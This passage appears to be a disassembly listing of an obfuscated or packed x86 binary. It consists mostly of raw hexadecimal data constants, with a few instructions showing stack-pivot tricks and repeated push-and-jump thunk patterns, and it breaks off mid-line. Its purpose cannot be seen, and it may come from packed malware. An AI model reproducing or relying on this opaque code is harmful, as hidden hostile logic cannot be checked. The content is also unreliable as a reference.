0D62D030Ah dd 2F059482h, 0DA25FF79h, 30A9A64h, 0A92D1C24h, 968A7E43h dd 0BC5C3B1Eh, 0D523B5E1h, 1000000h, 9698CE28h, 0E1267C63h dd 24DE8EC2h, 4EF043E5h, 0E050DCBh, 0BB9B6626h, 95F663D5h dd 0EAC849CFh, 0CF27B2A4h, 0CB96280Bh, 0EED6050Dh, 65C45EA6h dd 0ABDB5D0Bh, 0CBB006F1h, 0C0F0050Dh, 0B9B62300h, 9E0050Dh dd 0B2F26428h, 0B4370F12h, 590D0B5Dh, 2523C911h, 259DA70h dd 0FE0F324Ah, 203D1CB6h, 28A115E6h, 0D1E10304h, 76CB41A9h dd 48C94F15h, 51F1396Fh, 0ACA5F3CCh, 315A25Bh, 0BC4A2319h dd 38000005h, 0F66B73D5h, 0A9A4CC92h, 1CF1194Fh, 0D4095107h dd 0B445ADFBh, 98CC29BAh, 0D2869D70h, 2D7B578Ah, 642A08C5h dd 16E1831Ch, 30110A0h, 0A2FA70E0h, 0BFE5C641h, 95FBD8B9h dd 0A6BBE3A3h, 6A1A1C42h, 68826822h, 43C21DB3h, 0A8A5AD7Dh dd 6FC044Ah, 181E44A2h, 0EBF359B9h, 208Ah, 44A23600h, 59B9181Eh dd 0E3C059F3h, 0A20BEDBDh, 0D432CC20h, 4DAC668Eh, 65642470h dd 21h, 0F217E59Fh, 0AD23B7C6h, 859D6020h, 55E659DFh, 0F050D82h dd 0C929C12Bh, 0E6FF7056h, 3A428AB2h, 1E44A240h, 0CE588E18h dd 4B1D77E8h, 0E75199CDh, 52AD67AFh, 0F313D5Eh, 70243D1Ch dd 4E042CD0h, 0A5CD93F3h, 4E044AA8h, 0E0963DE0h, 4EAE7CC4h dd 3630D018h, 0A8EB769Ch, 0C47771FBh, 69CA80C8h, 93D54C6h dd 0A1B85262h, 1EF31B41h, 42E45238h, 0BA855F04h, 0F344D5Dh dd 854CC5EDh, 33031800h, 4B9A03Dh, 283F0000h, 9FF56870h dd 50ACA1C9h, 263FE06h, 0FEDB365Eh, 0B7B342AAh, 7D85D32Ch dd 0B7DF81E0h, 0C22A785Ah, 1961370Fh, 0AD11E286h, 0ED030117h dd 44A28F65h, 8BE5441Eh, 7B2B5BDDh, 0B298FE13h, 0CD811218h dd 31758C08h, 0D5170C6h, 0D8003005h, 3E386C45h, 8650D676h dd 1D1B4DABh, 4EA4B969h, 0A1831E18h, 512C926Dh, 446C050Dh dd 0A1BF1A1Ch, 0DABC01F7h, 0D276EDD2h, 0C432667Fh, 3084C080h dd 0CA12785Eh, 0DB052360h, 49EAAFh, 0F34E0000h, 5CE25D91h dd 1C050D45h, 3A6AEC14h, 7F95F06Ah, 30CA6C26h, 0DCB7FC7h dd 57F73F05h, 34BD32D4h, 0E8A2920Fh, 0B56F3511h, 0CE2B3447h dd 69BAA4EAh, 0DE36D6ACh, 0A019B1Dh, 0F258BE03h, 4D1B77EAh dd 3E5B2CBh, 0A2CE0000h, 0A2441E44h, 3127714Fh, 0CB308675h dd 4070050Dh, 0DB3BA680h, 81C76D75h, 7C3D3ED4h, 3C0F3498h dd 0FA219566h, 2200030Ah, 0D122807Ch, 30AFA6Dh, 53DD052Dh dd 0C87EFFABh, 0C5337B39h, 0AF5F04Ah, 71AB803h, 0B7FF792Fh dd 26F9F317h, 43C9CED8h, 7616A239h, 0E1CFB79Ch, 0D4353BB5h dd 9DF45947h, 2F50AF7Fh, 94000000h, 6C267F95h, 34C1DA93h dd 500A3A0Fh, 1F41A3BEh, 48EE6D19h, 8030AC1h, 0D8E6838h dd 30AC1ADh, 40BE1E5h, 0B5E1753Fh, 0ABC6h, 44A20200h, 5CB9181Eh dd 0B3930E08h, 88EE6BEDh, 8B9BAC2h, 0D9050DC7h, 964B93F9h dd 0DA6CEAB0h, 9B3DD78Ch, 0DC82698h, 28986605h, 8F83D1D7h dd 7DFE94DCh, 50D98B9h, 4319C9F9h, 34BBC7F0h, 274F770Fh dd 0F4AEF71Dh, 35655E0Bh, 0CC86AE09h, 0E0D8B7Eh, 2CFC8F67h dd 0A5EBB96h, 46126FE2h, 109910CFh, 0F7968C09h, 2E3h, 42AAFED1h dd 9BE3B58Fh, 28306646h, 6088DC35h, 0BCC490EDh, 0E1C2E19Dh dd 53B6ABB3h, 0E68E50Dh, 0C5DD3058h, 3CD8779Fh, 1157BC3h dd 0D1AB3B03h, 0CB1341A2h, 5BAC3016h, 48982256h, 817B83CBh dd 7E2804E5h, 361CCCF8h, 70C983D0h, 0C49E4E10h, 34C1327Bh dd 28E2D20Fh, 0A8AEF2D1h, 51CA2CFCh, 30AC1E9h, 0C047ADA1h dd 0B5E17583h, 0CAB4E14Fh, 0F6C65D69h, 0D8C956h, 0A20F0000h dd 0FE181E44h, 0E5530563h, 56ACA1h, 0B4E0FD40h, 0C778C942h dd 49A9050Dh, 582AB5C5h, 5E8604CDh, 0AD11E284h, 8C050D88h dd 260EE2B4h, 55B46E66h, 0E17C2C78h, 2801DB81h, 63C585CBh dd 38D283C1h, 2FAE8B66h, 0D59187D1h, 0B204F7ADh, 0F2050D88h dd 142102C2h, 0A40F34ABh, 0B8AE749Ch, 0AAFFF33Dh, 0CBF33F60h dd 0FD9A2611h, 62E0935h, 0CF95ED4Ch, 0B74D1D49h, 0C32B795Ah dd 0EE672D0Eh, 911303Bh, 0E06A03F9h, 0D4000001h, 924F97F1h dd 4598E0B6h, 38D53D6Bh, 0F06D75DBh, 98B9C197h, 0BCE8C5DEh dd 0F65AB954h, 411773EEh, 98CE2439h, 3A05DF70h, 3011484h dd 0A2E65CC4h, 51CB1341h, 76DA8CEBh dd 9BCB4D13h, 82E2C195h, 26E6B28Fh, 0FF95FBDBh, 0B3530162h dd 4E5E15Bh, 53AE7E28h, 0B59BF873h, 0AEF4D643h, 59383E66h dd 16CB1379h, 4AB06A30h, 0CCDFF68h, 0B1B757BAh, 0E7AD8A67h dd 0BF953571h, 0E8560CA9h, 7F675C92h, 6E34D450h, 34A6608Dh dd 76E0D00Fh, 0D2AC0018h, 0BC46AEF4h, 0BD570D56h, 0A5A6181Bh dd 0DEE6030Ah, 0F1E02D0Eh, 20100933h, 0E9BF976Ah, 8167276Fh dd 0EA6C3210h, 0D442166Fh, 3A3C6845h, 42674DA5h, 0A7D359E3h dd 69CD2EABh, 29050DCCh, 4AB11719h, 1246A3BEh, 0FB9E1672h dd 2112C8EDh, 0F3471F4h, 38BE904h, 3AEFA03Ah, 0A9D119E2h dd 26B68C41h, 0AE4F04E6h, 8B8DB503h, 0F0662C0Eh, 0FFD93092h dd 27E7AFA9h, 0D131C923h, 8BD9638Bh, 839E30EAh, 9ACC24A7h dd 0B6A0E89Ch, 20CD2EFEh, 900933C1h, 0CB2BB6A0h, 0C061CF85h dd 0A35065C8h, 0B7D553F3h, 408649A3h, 0FB78E4C6h, 5EF8F2FFh dd 8415034Bh, 377FF9AFh, 6B0DC70Fh, 20E0B696h, 340F32C3h dd 0AAB2820Fh, 7B114280h, 256B48A1h, 0FA9A8665h, 36C80936h dd 6C271C5h, 92241705h, 0D20506C2h, 66260EE2h, 0CD4CCAFAh dd 0CD47AFF5h, 0FE9C3B7Fh, 76EB8878h, 879A4A10h, 0CE23F9AFh dd 0F6BEB8EEh, 0B15FD056h, 40E6FC52h, 61D526F8h, 215A407Dh dd 9F157111h, 59A1F7CFh, 68CE29C3h, 285A407Dh, 7BA3F1CDh dd 0FF7056ABh, 8C8AB2E6h, 0F660340Dh, 152C8098h, 0DE8ED834h dd 0D53D6343h, 8274DA38h, 0B59BF950h, 2430343h, 3, 0A2FF79BEh dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 5585450h dd 4, 8704E883h, 535C2404h, 0C381E389h, 4, 4EB81h, 1C870000h dd 14895C24h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 241C895Ch, 0CF39BF57h, 0FA89060Ch, 83243C8Bh, 8B5404C4h dd 0C481241Ch, 4, 1F1B68h, 24148900h, 8B08438Fh, 8957241Ch dd 4C781E7h, 83000000h, 3C8704C7h, 148B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dw 11EBh dd 9B26F169h, 0AF8FE2DCh, 0B16C3446h, 0E17BB86Ah, 0C503060Ch dd 5054E0FFh, 0D86D322Ch, 18785C94h, 369738CFh, 4ED0765Bh dd 0AA31FB2h, 0F7B55AD8h, 211911DBh, 9A7E7888h, 52A10910h dd 324E0BF2h, 680B3D69h, 0C6BC0356h, 52BF619Fh, 627460BFh dd 9B8E33EDh, 9CBF0284h, 163E81h, 0EC57649Ch, 17C9175Eh dd 0A0545802h, 0C87D1A84h, 0CE5E7F1Bh, 0A2316C82h, 8EB4C2Ah dd 52C138A6h, 2400000h, 0C74E9h, 0E4726800h, 98E9060Ch dd 68FFFB61h, 60CE573h, 0FB618EE9h, 0E71468FFh, 84E9060Ch dd 68FFFB61h, 60CE7F6h, 0FB617AE9h, 0E8A368FFh, 70E9060Ch dd 68FFFB61h, 60CEA82h, 0FB6166E9h, 0EB2868FFh, 5CE9060Ch dd 68FFFB61h, 60CECACh, 0FB6152E9h, 0ED7168FFh, 48E9060Ch dd 3FFFFB61h, 0E070C5BFh, 42DE67E3h, 23318606h, 839126A6h dd 0E5F344C0h, 0CD490A69h, 71EDE868h, 92164CCCh, 37AD2F2Dh dd 38DC208Eh, 6C2B5E71h, 0DD821E0Fh, 0D421F3A3h, 0CDBF99D3h dd 6CA5C852h, 1599CABEh, 0A2A06E91h, 9336A420h, 86225E30h dd 0FC31C4F6h, 1DF8F862h, 9164E765h, 40DA5E13h, 2E27EA9Ch dd 1BAB9668h, 20418A3Fh, 0A7255D6Ch, 5EBD3517h, 5516A01Ch dd 0D6596CDAh, 0F639C8Eh, 387B02CFh, 0D5987F87h, 3BC1DA1Bh dd 53AB7Ah, 85570000h, 0E58D9CCEh, 7F50A3B7h, 0C9DF79FCh dd 9F1D5538h, 49D14C2Fh, 0F66E6FEDh, 53E35B1Ah, 0F7F56D90h dd 0EB682EC2h, 377ADE68h, 0E06C20B6h, 260BB1E3h, 0DBA94749h dd 736CEE58h, 48A447F7h, 924920Eh, 7AFC4376h, 0D51CDA9Dh dd 907A3BD7h, 108h, 0F3A3DD70h, 0CF404592h, 76C043CAh dd 0F97570EAh, 5DD99A06h, 0ADB10DD1h, 6A27031Ch, 318A1B5h dd 0FB666A27h, 26B245B0h, 9A2337A4h, 0E46A2703h, 0D230FE79h dd 0A6D70B90h, 0D86A2703h, 4AC2835Dh, 469476CFh, 0BF3C8A02h dd 5DA0245Dh, 27086FC5h, 0AC28AA6Ah, 0D14F090Bh, 5AD29349h dd 0F3ED0FECh, 0D2448275h, 53871B1Dh, 682E5B91h, 4BBD02FDh dd 3228B2B6h, 0EB8836B6h, 8566FA10h, 0DF6E27F8h, 47C2463Dh dd 7FE37FDBh, 6A299F4Eh, 2E61DF99h, 134CC833h, 0ABAF0B97h dd 6A299F02h, 0B97E817Ch, 709C185Bh, 815D4490h, 0A7FF8149h dd 0AF000009h, 1000B52Fh, 0F26ED753h, 53C176F6h, 33219616h dd 158334B0h, 0BD39BAD9h, 0E15D18F8h, 286FC5Ch, 0A71D5FBDh dd 0A8ACB01Eh, 6C2B5801h, 0DD32EE7Fh, 942539A2h, 0EA6A27BCh dd 926EEC6Fh, 27BC3F4Eh, 8D00416Ah, 768ED7C7h, 5B9C67E2h dd 0BC01FFF9h, 3CB83822h, 0D20EF172h, 0A63438C9h, 2EC238B2h dd 8D392468h, 20B6E489h, 0BAE296Ch, 3B6604CDh, 0CC417Ah dd 0DD830000h, 8A0E44A3h, 3F23BF3Ch, 6A27BC8Eh, 3C8A05F0h dd 6910C4A0h, 176A27BCh, 447D124h, 48DA3E88h, 8D6A27B7h dd 70E055D3h, 8460FA76h, 27B82950h, 0C885576Ah, 0CD80D14Ch dd 1AA29727h, 0DD4BFB7Eh, 0A6BA2024h, 682E4DACh, 64E055C0h dd 0CD11898Bh, 6E27ED5Bh, 0B9C014F0h, 6E6A298Ah, 42BDF06Ch dd 118974BFh, 0AF25A7B5h, 3F995C1Fh, 0FE5AC0BCh, 298A531Ah dd 0CF322D6Ah, 0CD490A16h, 5D57EB03h, 4DA8081h, 8A6h, 1B62EAEh dd 6FD05413h, 0CE77F5EDh, 2E971752h, 8035B132h, 38BBD814h dd 5C19FBBCh, 87FD5FE0h, 225CBC01h, 0ADB111A6h, 2B5900A9h dd 33917E6Ch, 0B426A2DDh, 0E5547F11h, 6C9766DBh, 0B12FA9ABh dd 0B9A34C0Ch, 70F34339h, 0DB51138Dh, 71EFE96Bh, 0C4A758CCh dd 38BB0B8Fh, 4E88DDBDh, 0C40A02h, 8B4FA356h, 682EC965h dd 0CC901E19h, 0C6DDEC70h, 0D7BD6C20h, 31B08D56h, 37CA3578h dd 0D6B22BA5h, 20287B02h, 0F81A056Ch, 6C2028B1h, 30B42DCFh dd 97853AB5h, 0AEC35FD5h, 6E6B1A58h, 0F6A340EEh, 0D02BA507h dd 0C4AC3216h, 8F56EF6Ah, 2CA82AECh, 7ED2F78Bh, 3F4CFA6Eh dd 5F19FB7Eh, 65479E1h, 0C6638239h, 3E1AD42Fh, 0EB660588h dd 16A0245Dh, 703EBA34h, 0AA0DA027h, 8F5164FBh, 72EE57CDh dd 0CE4AF470h, 0B71554h, 0E82E41C0h, 31CD72EEh, 4FC58755h dd 0D7E67CFFh, 1499FAh, 0F87BCB47h, 3AE89CB5h, 9B65D790h dd 797BE518h, 2CC53383h, 24AEB228h, 48169098h, 3A9668CDh dd 9EEE9726h, 8B6EE912h, 7AE0641Dh, 9780A4E6h, 5D3D3810h dd 0B84339BFh, 0F7E48A8Eh, 0AC2B1499h, 0AB06CF09h, 5632F2F2h dd 0FB4BCF84h, 0FFD39A78h, 0B2AD1499h, 48FDE4Fh, 693C0000h dd 0DB62EEE4h, 0BFC341FFh, 35687591h, 0DB9547BAh, 6A27BC92h dd 27CC3E43h, 0A822EF6Ah, 0DEE36A27h, 776A27AFh, 0AF36479Bh dd 0CD486A27h, 43C5BA2Ah, 0DA9943DFh, 613F9B5Eh, 0D682ED5h dd 2832C612h, 7B78756h, 70579h, 178DC900h, 0B135B2AEh dd 0D0540C0Ch, 70F4ED6Fh, 96124DCFh, 0D4B7B721h, 0BAA61F9Bh dd 1EFA433Bh, 0F95BDC58h, 0EEBC01FFh, 5BBFCE12h, 44C16C2Bh dd 25A3DDC4h, 372D10B5h, 180A4457h, 423F29E5h, 472370E8h dd 0ACDF8400h, 95058070h, 23F85141h, 0B7143D68h, 4B43BD99h dd 0DBEE6CEFh, 7FD4C77h, 1FD02BBFh, 4A73E743h, 2A6C2BAFh dd 0BE9ECB12h, 21396C03h, 2BF28C3Dh, 8407F26Ch, 0F2BBC216h dd 5AC56C2Bh, 0D9615DA7h, 0A2B62428h, 6E229E40h, 9589312Ch dd 0D183A2A1h, 1692D00Ah, 888C65E3h, 0C88C812h, 0EBCD11E9h dd 0B7C744B3h, 0F466FA44h, 28CB7BFFh, 9EA25FD5h, 279FDE3Ch dd 0BA3EB597h, 3226C43Fh, 0C143B07Eh, 71EB77E2h, 5DD99877h dd 2E9712D1h, 0E834B032h, 30B99D16h, 2309D787h, 2B000006h dd 8C8C31ABh, 6EEA53D7h, 0CF4DF26Ah, 0AFAD128Ah, 890FB02Ch dd 39B53655h, 5DD99484h, 0FE7A78D8h, 2399DB39h, 2C300C9Ah dd 6C2B5B9Dh, 0C9A662E3h, 0B2A63438h, 682EB48Ch, 5BB905F0h dd 1E13A319h, 7E9C3447h, 0C519817Dh, 6C20BBB4h, 3CB44FCAh dd 0AB27A043h, 98AEB228h, 0E46E29B3h, 2F52C479h, 0FE6A27BCh dd 6A27BCCFh, 6AEE730Ch, 6A27BC43h, 0DB47C23Dh, 239A1F07h dd 32B6A468h, 946F0CBAh, 0C08B6A1h, 6C2B5E7Ch, 0FA4EF7AFh dd 2BB03287h, 0D4A18637h, 0FE62F893h, 93D4A1CFh, 48CB46B1h dd 423E8C9Ch, 0AB35E57Bh, 576h, 31867E7Eh, 9F20A423h, 0FE47C5BDh dd 5EE76762h, 0B00581C2h, 84B2824h, 0AC292B8Ch, 0D78D8F30h dd 726CEC51h, 9D6141F6h, 2B543079h, 43C14E6Ch, 4339B9A3h dd 78D70F3h, 4FC5876Ah, 0E6E07CFFh, 0EF73EF6Ah, 68239AB7h dd 6CEE58DBh, 40D59772h, 2B5EED9Ch, 25A0936Ch, 611315AAh dd 0F1F351DDh, 4C28C27Bh, 2B5EE188h, 34B0366Ch, 0DAA6E98Ah dd 0D1921C98h, 0B731A356h, 11C5A139h, 6C2B5E68h, 99203416h dd 0E76C2B5Eh, 5E1FF974h, 71D313E6h, 7A4DF977h, 4C0ED0E3h dd 0BBB31B1h, 0B648ED68h, 1CAA2EA4h, 45C3BD5Fh, 3DF73EB2h dd 39237A41h, 4C393CB8h, 188h, 3438C98Ch, 0C130B2A6h, 805C682Eh dd 7EC84BC7h, 20B7D19Ah, 9DD0B76Ch, 0C8E926Fh, 4E36E879h dd 0A05B5EC7h, 0F0DC964Ah, 45B06E29h, 0EA6660F0h, 73EBEA70h dd 11DD20C3h, 823BB133h, 0F76BED82h, 2ED15D63h, 6B64F668h dd 599C5FEFh, 5277EB56h, 4C0BF100h, 0D4FD7EC8h, 768975D5h dd 0E5295CB8h, 73E46C20h, 0B93F8640h, 3A067A3Bh, 0CA000000h dd 0BD3BB9A3h, 198F72F1h, 0E276E468h, 682EC2E8h, 3EBA3923h dd 51D59270h, 1D1823D6h, 0B600B591h, 4ACD6C20h, 6628E927h dd 0D77D7A3Bh, 0E1000000h, 0F21066CCh, 0C3362C74h dd 25A3DD11h, 7405D9B5h, 0A6A27BCh, 0D83AF40Fh, 8400429Fh dd 1D5FBD09h, 0BB3517A7h, 349E783Dh, 8F6A27B7h, 7A919FAh dd 8D70B7BCh, 62DB5113h, 3186E588h, 0B0D476Ch, 0FD7F70F0h dd 1E5B811Dh, 8612C248h, 0C2BDA2CDh, 960CF774h, 68206BAEh dd 11CB57C2h, 8965DA56h, 0D80292Dh, 12576C2Eh, 4F05D79Ah dd 3FE7DC9h, 1C8C9856h, 995C408Eh, 14C0BC3Fh, 8758391Eh dd 9729B767h, 5F000003h, 10A51Fh, 0E27EC743h, 43D166E6h dd 23318606h, 59324A0h, 0AD29AAC9h, 0D14D0808h, 72F6EC6Ch dd 970D4FCDh, 58BC802Eh, 6C2B5611h, 0A322FE6Fh, 0BEA23BB9h dd 6A27BC0Fh, 0F00B8671h, 56EF6B64h, 0AB0C88CAh, 9DDDB2D7h dd 174E639Bh, 0A3DD30ECh, 0B210B525h, 0FD01A6E6h, 9270BE41h dd 31E354D0h, 273C96DBh, 566A3F6Ah, 3353D204h, 1FC787Eh dd 335164FEh, 0DD926A27h, 40C3BB3Ah, 18C8B7DAh, 218289B2h dd 0F8D83CDEh, 946823DDh, 562B1DA9h, 169448D2h, 8A6E2263h dd 0D1DF5D8Fh, 6A10815Ah, 2F194h, 3F9F500h, 9D195EBAh dd 3CB83818h, 5CD8997Bh, 827E79DBh, 0C0A35B3Dh, 0A6B20B87h dd 0A16AF27h, 0E577C84Ch, 0FAC86DEBh, 57CBF266h, 58B56C2Bh dd 44A3DDF8h, 43C58E0Ah, 0E5FAE9B0h, 818333AEh, 0BCD149C7h dd 0D12D5C37h, 0A1669923h, 0A027CAA7h, 5531A924h, 272BF881h dd 609B866Ah, 7C20568Ah, 518B682Eh, 7CF8F510h, 8B631B2h dd 0ADAD906Bh, 201A00A9h, 837E6Ch, 8A4E2AB6h, 6C201AE3h dd 0FB5FA29Dh, 6C201AB6h, 58E66261h, 0B07EFEFAh, 0CE710403h dd 0D20CAF28h, 7A3C0613h, 4652h, 38C9B600h, 10CAA634h dd 6617CB50h, 186A27BCh, 5714A21Dh, 0C2B436ACh, 0ADA8682Eh dd 0B6700501h, 0A1BD6C20h, 0C4F569C5h, 0BA6C20B6h, 0B6125BBFh dd 8BC56C20h, 8FC2A10Dh, 0C7EA698Ch, 3B65C809h, 0EE9D7Ah dd 0DD7F0000h, 0BB9925A3h, 3CDEBC38h, 0F03EC145h, 6AD45012h dd 0CD72EEE8h, 27B7FB49h, 0C0BC3E6Ah, 7979E37Fh, 0E29C7883h dd 916ED866h, 0D5CF138Fh, 0B9682EDFh, 0A6219BDFh, 0DD9F7D11h dd 5B149C67h, 0DE973DB8h, 2482448Dh, 18827DF8h, 461158BCh dd 0EC6F6C20h, 7015F109h, 90D627F3h, 98C9AA14h, 0A44037D2h dd 6201AD29h, 723D3B9Fh, 54866E27h, 7FFBF81Dh, 526732FCh dd 0EE45D86Fh, 70BBBE39h, 7DBFEDE4h, 0B8B2E77Eh, 0A043F36Eh dd 24A7B525h, 4A0517A8h, 2F2802CEh, 9545815Dh, 16DCBh dd 0FF757100h, 199DDA46h, 0B83CB4A4h, 0D85C1507h, 7EFAF567h dd 7C1FDFB9h, 223E8703h, 86922BA3h, 61F344C0h, 7654E967h dd 504776EAh, 2C396C2Bh, 0F0A2DD6Ch, 0B6B151C3h, 0C8F1651Eh dd 0B66A278Dh, 0E84DC84Bh, 4DF26E68h, 0AD2FABB1h, 7D9F6201h dd 0A63438C9h, 2EC238B2h, 8D392468h, 0EC686BF1h, 0B6E48909h dd 0AE296C20h, 6604CD0Bh, 2E2C7A3Bh, 43CC37AFh, 8Ch, 25A3DD81h dd 0BC38BB99h, 0B7BC16F2h, 7F796A27h, 0A2DC3C81h, 0D1AE9826h dd 150FD34Fh, 79682EDFh, 32CF39FEh, 999C2D31h, 77E26C20h dd 21F266F4h, 4B6E274Eh, 0CF8852C8h, 540DCF53h, 68E82DD0h dd 0F21F36Fh, 28815DB7h, 0A89C62h, 30AC0000h, 521103B4h dd 0F7F361D6h, 1150C075h, 0B7302095h, 0DA12823Bh, 0FD423EB9h dd 51E65E1Fh, 0BE0785C3h, 13A420A2h, 2ABAFB3h, 7C6C2B51h dd 0A2DD3193h, 1FFD9126h, 801CE75Dh, 27F54AC6h, 233EB9A3h dd 0D89B2BA1h, 0EF12D15Dh, 0DA94736Dh, 0F153E35Eh, 40C479F7h dd 292DADAFh, 68239AEDh, 2A289681h, 0F78B2CA8h, 19CD63D2h dd 976A86B6h, 61CD4B05h, 827A7F9Dh, 0D64CB734h, 10E89F4Ah dd 449ADDA0h, 2B298E0Ah, 818333A9h, 0F6875BC0h, 8838E670h dd 12A4128Dh, 0EAE43A7Dh, 94BC96Eh, 35D2393h, 0C3000000h dd 0A1DDD68Ah, 3FB99B2Bh, 5117F541h, 0ECE96BDBh, 0B44C670h dd 0A2DD3F8Fh, 3FBA9826h, 550D0FBFh, 0EEE567D7h, 5068DC6Ah dd 0BE56E089h, 4, 835EF001h, 48704E8h, 89535C24h, 4C381E3h dd 83000000h, 1C8704EBh, 4895C24h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 241C895Ch, 7AA8BB53h, 0D3F72199h dd 1F9CC381h, 0C3813D91h, 0AB0591Dh, 73A0C381h, 0C3817246h dd 6D1E7132h, 1C8BD889h, 4C48324h, 241C8B54h, 4C481h, 0B9510000h dd 8, 0BB53D901h, 0 dd 389CB01h, 1C8B595Bh, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 3CE95C24h, 0F9FFFB55h, 20899326h, 99E28E21h, 832E3D3Fh dd 0EE3EB82Eh, 0C503060Ch, 0B1DBE0FFh, 0B15B2964h, 80EA5A83h dd 56E16859h, 576B3EE0h, 98027E40h, 946B3546h, 2FB53029h dd 0C9F1410Fh, 0B6DA2466h, 52D546ADh, 1E860980h, 0D2D96B9Bh dd 0D8FC01EDh, 0E14C620Ch, 78E523FCh, 0B67E0438h, 26D57CCAh dd 1A822973h, 0C733B1Bh, 0AB8201Bh, 65047C33h, 12E81751h dd 0C0000000h, 96D125A3h, 0BA6D6E97h, 0FCE65555h, 0F79C57D3h dd 8E841h, 0AD3A0000h, 527C9827h, 880FD087h, 18h, 13E9h dd 295E2500h, 2DD16AB8h, 6E04531Ah, 0F047413Ch, 64E68D0Eh dd 0D88A5859h, 5901C081h, 8B0F0000h, 0 dd 820FFF2Bh, 3, 8BD3B70Fh, 830F3834h, 3, 81D0BF0Fh, 55D513C6h dd 1DF1802Bh, 60F2EE81h, 14E808CFh, 6E000000h, 0A9D1EEF5h dd 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 66E0623Ch, 0D759CB81h dd 0A6F6815Bh, 6604E869h, 6656C88Bh, 48FD88Bh, 8F0F38h dd 8A000000h, 63EF81CFh, 0FC2D76ABh, 0AB5FC781h, 0E3812D76h dd 56AE0248h, 0A7E4FF81h, 850FFFFFh, 0Fh, 0E95AF553h, 18h dd 0B19A328Dh, 0F271CA8h, 78E9D3B7h, 0EFFFFFFh, 0AF8572E9h dd 4C0DAF9Ch, 8E8h, 29ACD300h, 2A32FDEEh, 0B958F5ACh, 17096D06h dd 626FC081h, 0B70F0000h, 0BFCAh, 7E90000h, 1B000000h dd 3C5073BAh, 348B8DC3h, 79EE8138h, 6652B571h, 3CB8CB81h dd 0F0F4C681h, 8F0F4153h, 18h, 11E956h, 0F7FB0000h, 0C87D4656h dd 0E21B5AE4h, 0E31A9DA4h, 5B8F501Ch, 0B623F681h, 14E92798h dd 0A3000000h, 0C9BF274Ah, 5847190Ch, 73082C05h, 56F2633Eh dd 56DAD2CBh, 0CE8h, 0E43A1800h, 3185748Ch, 0CB0E8670h dd 57E1812Ah, 5A1CA479h, 0F38048Fh, 48Eh, 1FB96600h, 0EF81F57Ah dd 5DE04D9Ah, 0C7814CB7h, 5DE04D96h, 12E860h, 54AF0000h dd 0F57F720Bh, 969871C5h, 990151B8h, 259D519Ch, 7E9h, 0DF4B3800h dd 67319271h, 61DE8B58h, 9E74FF81h, 850FFFFFh, 0FFFFFF46h dd 38D3B966h, 0F1F98D8Dh, 5B53060Ch, 7458501h, 8D890607h dd 6071B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 3C35646h, 372D5C66h, 2B665812h, 0F9B70F00h, 60585C7h dd 60640607h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 6FC1D5C3h, 78F1C340h, 0F06360Bh dd 0F8Bh, 9E800h, 57D10000h, 1B5FBDAh, 5FAFC115h, 6985C7h dd 607h, 81660000h, 0FFEAD6F2h, 732C9B5h, 0E195FF06h, 6A060701h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 4219C351h, 6AF38B66h, 195FF00h, 8B060732h dd 6FEBC0h, 0B785CA53h, 0FFD56DCBh, 53BA7BCFh, 1520FD24h dd 79899A9Ah, 99358500h, 0DE69B4A8h, 431D261Bh, 1310414Fh dd 0C2886CBDh, 3C3924CFh, 6E221B9Ah, 0C255A912h, 571CF8DAh dd 74B007Fh, 2D21B105h, 0FADAF46Ah, 7E6DAAF4h, 0DE80A3ADh dd 77A06DECh, 6CD47814h, 1F4E0D51h, 9F8F5294h, 0D6B1803Ch dd 8EBCEC1Fh, 506B3FD7h, 0EB5122E4h, 79EBADE0h, 0EF9E7D00h dd 0FE2218Ch, 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h dd 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h dd 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h dd 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch dd 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh, 7156F000h dd 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 93060E73h, 1015E934h dd 0E7680000h, 0E9060CF4h, 0FFFA8A82h, 0CF5E068h, 8A78E906h dd 0A768FFFAh, 0E9060CF6h, 0FFFA8A6Eh, 0CF80168h, 8A64E906h dd 6D68FFFAh, 0E9060CF8h, 0FFFA8A5Ah, 0CF91668h, 8A50E906h dd 0C868FFFAh, 0E9060CF9h, 0FFFA8A46h, 0CFAA968h, 8A3CE906h dd 8068FFFAh, 0E9060CFBh, 0FFFA8A32h, 0CFC8A68h, 8A28E906h dd 0E668FFFAh, 0E9060CFDh, 0FFFA8A1Eh, 0D006268h, 8A14E906h dd 6268FFFAh, 0E9060D01h, 0FFFA8A0Ah, 46AEFACDh, 9FE7A98Bh dd 2C346242h, 648CD031h, 0B0D88CE9h, 9DFEE561h, 57B2AFB7h dd 0A64F901h, 0F9D9345Ch, 30D44B93h, 1387FC7h, 0DD573F03h dd 0E8CB44A2h, 0CEF6BEB8h, 3D817214h, 7D050DCBh, 0D63CCB35h dd 94469BD5h, 8FE772F4h, 4756E84Bh, 2E16050Dh, 1E749EE6h dd 0FAC8F45h, 4F0F3414h, 0BC7EF167h, 0F4030A76h, 4E351C90h dd 0D5B5E224h, 2Ah, 267F9513h, 0D569CA6Ch, 95050DCBh, 0D427FDADh dd 0F34C193h, 5AD54373h, 30AC1E0h, 0D940B4A8h, 0B5E1757Ah dd 12B01h, 4E5C700h, 0C8FC7A2Ch, 77009E46h, 6E3EB131h dd 6BEDB393h, 51C78DEEh, 4389B987h, 7431A10Ch, 0AFDB3C56h dd 0AC7CA4DEh, 712B7151h, 39E9BF98h, 1E44A23Fh, 43BC05F6h dd 0D72A050Dh, 62FFAFF9h, 0DB365E04h, 326440FBh, 69CA80C4h dd 